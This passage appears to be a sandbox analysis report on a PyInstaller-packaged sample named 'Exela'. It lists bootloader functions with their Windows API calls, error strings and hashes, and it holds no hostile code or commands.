Failed to extract %s: failed to open archive file!, xrefs: 00007FF75AE91098
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF75AE911F6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF75AE91108

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction ID: 31d62027896e3dfc7cd81dfdc4a0153339eb9251aea5c8b9f4146cb427cae2ea
Opcode Fuzzy Hash: 0c31251e6cc82c47abebe2306b4fb6df75d7e9a8de90183b667ac336f21b0774
Instruction Fuzzy Hash: D4416F21B087729AFA50FB12A806AB9E394BF44BC4FD845B1EE4D07796DF3CE5018760

Function 00007FF75AE91470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON

Download Yara Rule

Strings

malloc, xrefs: 00007FF75AE9151F
fread, xrefs: 00007FF75AE915E6
fseek, xrefs: 00007FF75AE914E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF75AE914DE
Failed to extract %s: failed to open archive file!, xrefs: 00007FF75AE9149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF75AE915DF
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF75AE91518

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction ID: daacebb6bab56183e429a75c802b04264cf0a841dce7126223a33933d15c84f3
Opcode Fuzzy Hash: 5a016122ccacf22d2f40e2f4ad7ae1084c068073363954eaa92016f2cfc1e0a1
Instruction Fuzzy Hash: 79417321A087669AFB10FB2198469B9E390FF44794FCC4572EE5D07B95DE3CE5418720

Function 00007FF75AE9EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF75AE9EAD5

Part of subcall function 00007FF75AE9FA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF75AE9FA6F
Part of subcall function 00007FF75AE9FA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF75AE9FA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF75AE9EBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF75AE9EDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF75AE9EF08

Strings

csm, xrefs: 00007FF75AE9EBD0
csm, xrefs: 00007FF75AE9EAEF
csm, xrefs: 00007FF75AE9EB56

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: 0a5312119986de2a4ae3356448189989bfb133cf6c10d7e5d1f2137b66254517
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: 0CD17D62A087618AFB20BB25D4427ADA7A0FF45798F980176EF4D57B95DF38E480C720

Function 00007FF75AE92C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92D63
MessageBoxW.USER32 ref: 00007FF75AE92D99

Strings

%ls: , xrefs: 00007FF75AE92D22
<FormatMessageW failed.>, xrefs: 00007FF75AE92D70
[PYI-%d:ERROR] , xrefs: 00007FF75AE92CA6
Error, xrefs: 00007FF75AE92D8C

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: 959f39bb468789a468f54dddd02ae54de8f0dc4e02315a1adbe7011854c44fda
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: C0310822B08B6146FB20BB25B8156BBA695BF887C8F844135EF4D93759EF3CD506C710

Function 00007FF75AE9DD38 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF75AE9DFEA,?,?,?,00007FF75AE9DCDC,?,?,?,00007FF75AE9D8D9), ref: 00007FF75AE9DDBD
GetLastError.KERNEL32(?,?,?,00007FF75AE9DFEA,?,?,?,00007FF75AE9DCDC,?,?,?,00007FF75AE9D8D9), ref: 00007FF75AE9DDCB
LoadLibraryExW.KERNEL32(?,?,?,00007FF75AE9DFEA,?,?,?,00007FF75AE9DCDC,?,?,?,00007FF75AE9D8D9), ref: 00007FF75AE9DDF5
FreeLibrary.KERNEL32(?,?,?,00007FF75AE9DFEA,?,?,?,00007FF75AE9DCDC,?,?,?,00007FF75AE9D8D9), ref: 00007FF75AE9DE63
GetProcAddress.KERNEL32(?,?,?,00007FF75AE9DFEA,?,?,?,00007FF75AE9DCDC,?,?,?,00007FF75AE9D8D9), ref: 00007FF75AE9DE6F

Strings

api-ms-, xrefs: 00007FF75AE9DDDD

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction ID: 70f55dac4288e69f14614064eb164a04cbd27b1be7e9a2bf35709ba27e867ea7
Opcode Fuzzy Hash: 7dacba43e0eeea41cb86842b35fa5572bc178a215ab50afad80fbb9160df823c
Instruction Fuzzy Hash: 4C318B21B1A76699FE12BB02A842975A394FF58BA0FCD4675EE1D46380EF3CE4448230

Function 00007FF75AE96350 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF75AE96446
Failed to load Python DLL '%ls'., xrefs: 00007FF75AE96497
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF75AE963F7
LoadLibrary, xrefs: 00007FF75AE9649E
ucrtbase.dll, xrefs: 00007FF75AE963CD
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF75AE963B7

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction ID: 42dc910226e0dc196919365218f4cb73e4c3f8ff7adc36aeca7154002c201508
Opcode Fuzzy Hash: 5c7507e70d60f0fb7e3c9a3209df06ed2678ab3c183624e845013dd92edd1fac
Instruction Fuzzy Hash: 27419231A1C79795FA11FB60E4566E9A310FF88384FC80172EA5C53296EF3CE905C760

Function 00007FF75AE92A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF75AE9351A,?,00000000,00007FF75AE93F23), ref: 00007FF75AE92AA0

Strings

WARNING, xrefs: 00007FF75AE92AAF
Warning [ANSI Fallback], xrefs: 00007FF75AE92B0F
[PYI-%d:%s] , xrefs: 00007FF75AE92AA8
Warning, xrefs: 00007FF75AE92B1E
0, xrefs: 00007FF75AE92B16

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction ID: 104efb88683b7cc3f511a7c5883d8de4f14563315119a7727c20c07082a29446
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: 7221A132A1879186F720FB50B8467E6A394FF883C4F844172EE8C53659DF3CD5458750

Function 00007FF75AEAB1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF75AEAB1CF
FlsGetValue.KERNEL32 ref: 00007FF75AEAB1E4
FlsSetValue.KERNEL32 ref: 00007FF75AEAB205
FlsSetValue.KERNEL32 ref: 00007FF75AEAB232
FlsSetValue.KERNEL32 ref: 00007FF75AEAB243
FlsSetValue.KERNEL32 ref: 00007FF75AEAB254
SetLastError.KERNEL32 ref: 00007FF75AEAB26F

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction ID: ba8b0cf157a6c32acbdf2a6c46c18d5112196af08dbe314014990bb34dddbea8
Opcode Fuzzy Hash: a5225a2428ee1ea558fded41feed7619df648b57a5ff038aad9245715dd51944
Instruction Fuzzy Hash: 04219F20F0C26681FA687365666B17DE1425F447B0FCC87B5D87E07AD6DE2CAC008330

Function 00007FF75AEB7DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF75AEB7E0D
GetLastError.KERNEL32 ref: 00007FF75AEB7E19
CloseHandle.KERNEL32 ref: 00007FF75AEB7E31
CreateFileW.KERNEL32 ref: 00007FF75AEB7E5C
WriteConsoleW.KERNEL32 ref: 00007FF75AEB7E7B

Strings

CONOUT$, xrefs: 00007FF75AEB7E3D

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: 2c81a9dbc2c33c5e6d231d570e7c84dd3b2bbe5d00d45cdf34c4e5d48f380132
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: AE118121A18B5586F350BB56F85A329B2A4FF88BE4F884374EA5D877A4DF3CD8048750

Function 00007FF75AE98560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF75AE99216), ref: 00007FF75AE98592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF75AE99216), ref: 00007FF75AE985E9

Part of subcall function 00007FF75AE99400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF75AE945E4,00000000,00007FF75AE91985), ref: 00007FF75AE99439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF75AE99216), ref: 00007FF75AE98678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF75AE99216), ref: 00007FF75AE986E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF75AE99216), ref: 00007FF75AE986F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF75AE99216), ref: 00007FF75AE9870A

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction ID: cdfa6a96291e7e34f18fbfe516444fb18322a8224da3d27bdaff509dc0fe0cd1
Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction Fuzzy Hash: 9141C462B1879249FB30BF11A446AAAA794FF84BC4F880175DF8D97B99DE3CD401C720

Function 00007FF75AEAB338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF75AEA4F81,?,?,?,?,00007FF75AEAA4FA,?,?,?,?,00007FF75AEA71FF), ref: 00007FF75AEAB347
FlsSetValue.KERNEL32(?,?,?,00007FF75AEA4F81,?,?,?,?,00007FF75AEAA4FA,?,?,?,?,00007FF75AEA71FF), ref: 00007FF75AEAB37D
FlsSetValue.KERNEL32(?,?,?,00007FF75AEA4F81,?,?,?,?,00007FF75AEAA4FA,?,?,?,?,00007FF75AEA71FF), ref: 00007FF75AEAB3AA
FlsSetValue.KERNEL32(?,?,?,00007FF75AEA4F81,?,?,?,?,00007FF75AEAA4FA,?,?,?,?,00007FF75AEA71FF), ref: 00007FF75AEAB3BB
FlsSetValue.KERNEL32(?,?,?,00007FF75AEA4F81,?,?,?,?,00007FF75AEAA4FA,?,?,?,?,00007FF75AEA71FF), ref: 00007FF75AEAB3CC
SetLastError.KERNEL32(?,?,?,00007FF75AEA4F81,?,?,?,?,00007FF75AEAA4FA,?,?,?,?,00007FF75AEA71FF), ref: 00007FF75AEAB3E7

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction ID: 48c53db4bde8173b0a260965429a9b6dc620d5db89f6430af7bf9dd2a7dc8010
Opcode Fuzzy Hash: f3ef772190a77067448dcdc891e93f0fce571c39ad65bd9bbfe034f894ce387b
Instruction Fuzzy Hash: 4A11A530B0D3A286FA54732156AB17DE1429F447B0FCC87B4D87E477C6DE6CA8018321

Function 00007FF75AE92910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF75AE91B6A), ref: 00007FF75AE9295E

Strings

[PYI-%d:ERROR] , xrefs: 00007FF75AE92966
Error [ANSI Fallback], xrefs: 00007FF75AE929FF
%s: %s, xrefs: 00007FF75AE929E8
Error, xrefs: 00007FF75AE92A0E

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: 463e3f84d6fc8cba43a1c3aac15551f7fe014ca6b74a80956e717a4faaaa7aa3
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: 71313823B1879156F720B761A8426E6A294BF887D4F844172FE8D83745EF3CD546C720

Function 00007FF75AE92390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF75AE923C8
DialogBoxIndirectParamW.USER32 ref: 00007FF75AE9248E
DeleteObject.GDI32 ref: 00007FF75AE924C1
DestroyIcon.USER32 ref: 00007FF75AE924D3

Strings

Unhandled exception in script, xrefs: 00007FF75AE923F8

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction ID: 27f75de02e02f740de3505eef975b10c5753f190785946dfa57723bbaa08ed94
Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction Fuzzy Hash: 7E315D62619B928DFB20FB21E85A2FAA360FF88784F884175EA4D47A59DF3CD5008710

Function 00007FF75AE92B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF75AE9918F,?,00007FF75AE93C55), ref: 00007FF75AE92BA0
MessageBoxW.USER32 ref: 00007FF75AE92C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF75AE92BA8
WARNING, xrefs: 00007FF75AE92BAF
Warning, xrefs: 00007FF75AE92C1D

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: 5a7828566d2126cd1d65a2fd55e8acbe7a6927e22cbef60365649d5fa86da71a
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: 5D21AE62B08B5196F720BB14F8467EAA3A4FF88780F844136EE8D57759EE3CD605C750

Function 00007FF75AE92710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF75AE91B99), ref: 00007FF75AE92760

Strings

ERROR, xrefs: 00007FF75AE9276F
[PYI-%d:%s] , xrefs: 00007FF75AE92768
Error [ANSI Fallback], xrefs: 00007FF75AE927CF
Error, xrefs: 00007FF75AE927DE

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
